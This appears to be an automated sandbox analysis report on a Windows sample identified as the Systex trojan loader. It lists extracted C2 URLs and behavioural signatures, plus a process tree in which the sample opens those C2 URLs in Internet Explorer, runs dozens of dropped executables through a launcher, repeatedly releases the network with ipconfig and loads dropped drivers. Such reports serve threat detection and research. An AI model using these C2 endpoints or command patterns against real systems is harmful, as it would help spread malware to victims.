Analysis
- max time kernel
149s - max time network
143s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
23/07/2026, 11:15
General
- Target 2026-07-23_0d45d9fd847132aa89a5d025550d605d_elex_redline-stealer_rhadamanthys_stop.exe
- Size 230KB
- Sample260723-ncppmscc66
- SHA256 b0c387f6479901103770889aa72dfcaabc74b825e1962c3841646c99744a0216
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba8102
-
http://xytets.com:2345/ll/out.txt
-
http://xytets.com:2345/t.asp?os=home8102
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 44 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 64 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 19 IoCs
- Suspicious use of AdjustPrivilegeToken 20 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-23_0d45d9fd847132aa89a5d025550d605d_elex_redline-stealer_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-23_0d45d9fd847132aa89a5d025550d605d_elex_redline-stealer_rhadamanthys_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home81022⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1452 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4548 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\geytrljdbw.exe ups_run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\geytrljdbw.exeC:\Temp\geytrljdbw.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_geytrljdbw.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_geytrljdbw.exeC:\Temp\i_geytrljdbw.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\nlgdywqoig.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\nlgdywqoig.exeC:\Temp\nlgdywqoig.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_nlgdywqoig.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_nlgdywqoig.exeC:\Temp\i_nlgdywqoig.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dyvqoigayq.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\dyvqoigayq.exeC:\Temp\dyvqoigayq.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dyvqoigayq.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_dyvqoigayq.exeC:\Temp\i_dyvqoigayq.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\pnifaxsqki.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\pnifaxsqki.exeC:\Temp\pnifaxsqki.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_pnifaxsqki.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_pnifaxsqki.exeC:\Temp\i_pnifaxsqki.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\hfaxsqkaus.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\hfaxsqkaus.exeC:\Temp\hfaxsqkaus.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_hfaxsqkaus.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_hfaxsqkaus.exeC:\Temp\i_hfaxsqkaus.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\upnhfzxspk.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\upnhfzxspk.exeC:\Temp\upnhfzxspk.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_upnhfzxspk.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_upnhfzxspk.exeC:\Temp\i_upnhfzxspk.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ezurmkecwu.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ezurmkecwu.exeC:\Temp\ezurmkecwu.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ezurmkecwu.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ezurmkecwu.exeC:\Temp\i_ezurmkecwu.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\jebwuomgey.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\jebwuomgey.exeC:\Temp\jebwuomgey.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_jebwuomgey.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_jebwuomgey.exeC:\Temp\i_jebwuomgey.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\uomgeywroj.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\uomgeywroj.exeC:\Temp\uomgeywroj.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_uomgeywroj.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_uomgeywroj.exeC:\Temp\i_uomgeywroj.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\qljdbvtolg.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\qljdbvtolg.exeC:\Temp\qljdbvtolg.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_qljdbvtolg.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_qljdbvtolg.exeC:\Temp\i_qljdbvtolg.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\idbvtnlgdy.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\idbvtnlgdy.exeC:\Temp\idbvtnlgdy.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_idbvtnlgdy.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_idbvtnlgdy.exeC:\Temp\i_idbvtnlgdy.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\xvpnifaysq.exe ups_run2⤵
-
C:\Temp\xvpnifaysq.exeC:\Temp\xvpnifaysq.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_xvpnifaysq.exe ups_ins2⤵
-
C:\Temp\i_xvpnifaysq.exeC:\Temp\i_xvpnifaysq.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dxnhfaxspk.exe ups_run2⤵
-
C:\Temp\dxnhfaxspk.exeC:\Temp\dxnhfaxspk.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dxnhfaxspk.exe ups_ins2⤵
-
C:\Temp\i_dxnhfaxspk.exeC:\Temp\i_dxnhfaxspk.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\xspkicausn.exe ups_run2⤵
-
C:\Temp\xspkicausn.exeC:\Temp\xspkicausn.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_xspkicausn.exe ups_ins2⤵
-
C:\Temp\i_xspkicausn.exeC:\Temp\i_xspkicausn.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\pnhfwupmhf.exe ups_run2⤵
-
C:\Temp\pnhfwupmhf.exeC:\Temp\pnhfwupmhf.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_pnhfwupmhf.exe ups_ins2⤵
-
C:\Temp\i_pnhfwupmhf.exeC:\Temp\i_pnhfwupmhf.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ezxrpjhczu.exe ups_run2⤵
-
C:\Temp\ezxrpjhczu.exeC:\Temp\ezxrpjhczu.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ezxrpjhczu.exe ups_ins2⤵
-
C:\Temp\i_ezxrpjhczu.exeC:\Temp\i_ezxrpjhczu.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\wjhbztrmje.exe ups_run2⤵
-
C:\Temp\wjhbztrmje.exeC:\Temp\wjhbztrmje.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_wjhbztrmje.exe ups_ins2⤵
-
C:\Temp\i_wjhbztrmje.exeC:\Temp\i_wjhbztrmje.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ojgbytrljd.exe ups_run2⤵
-
C:\Temp\ojgbytrljd.exeC:\Temp\ojgbytrljd.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ojgbytrljd.exe ups_ins2⤵
-
C:\Temp\i_ojgbytrljd.exeC:\Temp\i_ojgbytrljd.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dywqoigayt.exe ups_run2⤵
-
C:\Temp\dywqoigayt.exeC:\Temp\dywqoigayt.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_dywqoigayt.exe ups_ins2⤵
-
C:\Temp\i_dywqoigayt.exeC:\Temp\i_dywqoigayt.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\yvqnigaysq.exe ups_run2⤵
-
C:\Temp\yvqnigaysq.exeC:\Temp\yvqnigaysq.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_yvqnigaysq.exe ups_ins2⤵
-
C:\Temp\i_yvqnigaysq.exeC:\Temp\i_yvqnigaysq.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Temp\ywqoigbytr.sysC:\Temp\ywqoigbytr.sys1⤵
- Executes dropped EXE
-
C:\Temp\lidbvtnlfd.sysC:\Temp\lidbvtnlfd.sys1⤵
- Executes dropped EXE
-
C:\Temp\igaysnlfdx.sysC:\Temp\igaysnlfdx.sys1⤵
- Executes dropped EXE
-
C:\Temp\snkfdxvpni.sysC:\Temp\snkfdxvpni.sys1⤵
- Executes dropped EXE
-
C:\Temp\causmkfcxv.sysC:\Temp\causmkfcxv.sys1⤵
- Executes dropped EXE
-
C:\Temp\mkecwupmhf.sysC:\Temp\mkecwupmhf.sys1⤵
- Executes dropped EXE
-
C:\Temp\zxrpbztrmj.sysC:\Temp\zxrpbztrmj.sys1⤵
- Executes dropped EXE
-
C:\Temp\jebwuomgey.sysC:\Temp\jebwuomgey.sys1⤵
- Executes dropped EXE
-
C:\Temp\bwtomgeywq.sysC:\Temp\bwtomgeywq.sys1⤵
- Executes dropped EXE
-
C:\Temp\qoigaytqlj.sysC:\Temp\qoigaytqlj.sys1⤵
- Executes dropped EXE
-
C:\Temp\qlavtnlfdx.sysC:\Temp\qlavtnlfdx.sys1⤵
-
C:\Temp\kicavsnlfd.sysC:\Temp\kicavsnlfd.sys1⤵
-
C:\Temp\fdxvpnhfax.sysC:\Temp\fdxvpnhfax.sys1⤵
-
C:\Temp\wupmhfzxrp.sysC:\Temp\wupmhfzxrp.sys1⤵
-
C:\Temp\xsmkeuomhe.sysC:\Temp\xsmkeuomhe.sys1⤵
-
C:\Temp\ezwrojhbzt.sysC:\Temp\ezwrojhbzt.sys1⤵
-
C:\Temp\ytrljebwto.sysC:\Temp\ytrljebwto.sys1⤵
-
C:\Temp\oigbytrljd.sysC:\Temp\oigbytrljd.sys1⤵
-
C:\Temp\qljdbnlfdy.sysC:\Temp\qljdbnlfdy.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
causmkfcxv.sys
dyvqoigayq.exe
ezurmkecwu.exe
geytrljdbw.exe
hfaxsqkaus.exe
i_dyvqoigayq.exe
i_ezurmkecwu.exe
i_geytrljdbw.exe
i_hfaxsqkaus.exe
i_nlgdywqoig.exe
i_pnifaxsqki.exe
i_upnhfzxspk.exe
igaysnlfdx.sys
jebwuomgey.exe
lidbvtnlfd.sys
mkecwupmhf.sys
nlgdywqoig.exe
pnifaxsqki.exe
snkfdxvpni.sys
upnhfzxspk.exe
ywqoigbytr.sys
zxrpbztrmj.sys
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico
RecoveryStore.{CAA7EC61-8687-11F1-AF70-EE6109102029}.dat
RecoveryStore.{CAAA4E8D-8687-11F1-AF70-EE6109102029}.dat
suggestions[1].en-US
Kno7DB7.tmp
CP.exe
memory/208-163-0x0000000000010000-0x0000000000083000-memory.dmp
memory/916-132-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1728-155-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2276-188-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2292-159-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2388-180-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2436-175-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2908-108-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3156-53-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3160-94-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3188-176-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3188-171-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3812-150-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3940-65-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4388-151-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4388-139-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4468-77-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4688-167-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4792-120-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5000-184-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5024-192-0x0000000000010000-0x0000000000083000-memory.dmp